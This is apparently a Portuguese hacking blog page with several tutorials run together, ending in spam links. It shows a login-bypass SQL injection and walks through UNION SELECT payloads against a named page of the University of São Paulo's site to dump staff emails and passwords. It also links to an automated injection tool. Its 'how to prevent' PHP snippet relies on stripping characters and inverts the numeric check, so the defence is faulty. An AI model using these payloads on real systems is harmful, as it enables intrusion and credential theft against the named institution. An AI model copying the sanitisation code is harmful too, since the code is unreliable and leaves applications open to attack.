Ou seja, selecione o usuario e a senha da tabela usuarios em que o usuario seja igual ao usuario digitado pelo usuario e a senha seja igual a senha digitada pelo usuario.

Inserçao do codigo:
SELECT usuario, senha FROM usuarios WHERE usuario=’admin’ or usuario like ‘%a%‘ and senha=’admin’ or usuario like ‘%a%

Ou seja,
Selecione o usuario e a senha da tabela usuarios em que o usuario seja igual a admin ou o usuario seja parecido com a letra “a” e a senha seja igual a “admin” ou a senha seja parecida com a letra “a”

Conclusao:
Muito vulneravel esta area restrita. Tao vulneravel que dá até para inserir um usuario atraves deste  sql injection.

Explorando falha de sql injection no site da USP.br


OBJETIVO DO POST:
Explorar um site conhecido para demostrar que todos possuem falhas…
Explicações:
Explorando falha de sql injection no site da USP.br.
Para saber quais seriam as tabelas e colunas do banco de dados, precisei de ter ferramentas avançadas que são restritas para os melhores hackers. Si você é um deles, baixe-a para facilitar sua vida hacker.
Vou demostrar uma invasao via SQL injection no site da USP(universidade de são Paulo)…

Nesta invasão consigo todos os emails de funcionários da USP(universidade de são paulo).
Vamos La:
Abaixo esta o site vulnerável


USP . br / feaecon/graduacao.php?i=21


Usando o código abaixo lista o numero 1 e 2 na tela do site.
?i=-21 union select 1,2

Explicação: o site tenta buscar o  post 21 e não encontra para listar e lista os dados do segundo select que é 1,2


Agora, colocando o código (  ?i=-21 union select 1,tx_email from eae_usuario ) o site irá listar todos os emails dos usuários do banco de dados inclusive do webmail deles.



Selecione os emails e jogue eles no Word ou dreamweaver ou sei La…

Agora, iremos fazer o site listar todos os emails e senhas de todos.
Para fazer isso prefisamos usar uma concatenação no SQL.
Código:
graduacao.php?i=-21 union select 1,concat(tx_email,tx_senha) from eae_usuario

a funcao concat(tx_email, tx_senha) mostra o email e a senha na mesta coluna no db.

Como tratar sql injection

Aqui vem mais um de meus tutoriais… E hoje vamos falar sobre, como tratar sql injection, ou seja como evitar erros de sql injection permitir ataques em meu site.
Vou dar um exemplo em PHP.
1 – Uma boa forma de evitar ataques de sql injection é retirando os principais caracteres usados em ataques maliciosos.
function nosql($string){
$string      =str_replace(“‘”,”",$string);//aqui retira aspas simples <’>
$string      =str_replace(“\\”,”",$string);//aqui retira barra invertida<\\>
$string      =str_replace(“UNION”,”",$string);//aqui retiro  o comando UNION <UNION>
return $string
}
2 – Outra forma tambem bastante usada é o comando: mysql_real_escape_string
mais informações no link: http://php.net/manual/pt_BR/function.mysql-real-escape-string.php

3 – Você pode tambem criar funcoes anti-sqlinjection para numeros/codigos.
Um exemplo bom é quando você passa um codigo via GET['codid'] ou POST['codid'].
Ao receber esta variavel via get/post você pode validar si realmente é numero ou string.
Codigo:
if (is_numeric($_GET['codid'])==false) {
$cod           =get_magic_quotes_gpc() ? stripslashes($_GET['codid']) : $_GET['codid'];
   $cod = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($cod) : mysql_escape_string($cod);
$cod =(int)$cod; }else{ print 'error'; header("location:error.php"); exit; }
automagic sql injection download – programa para sql injection para download abaixo:
http://scoobygang.org/automagic.zip
Ferramenta automagic sql injection download encontra-se no link:
http://www.securiteam.com/tools/6P00L0AEKQ.html
Cheap Retro Replica NFL NBA MLB Throwback Football Basketball Jerseys | hp printer ink cartridges refills| Professional Wedding Pianist | Jewelry Making Supplies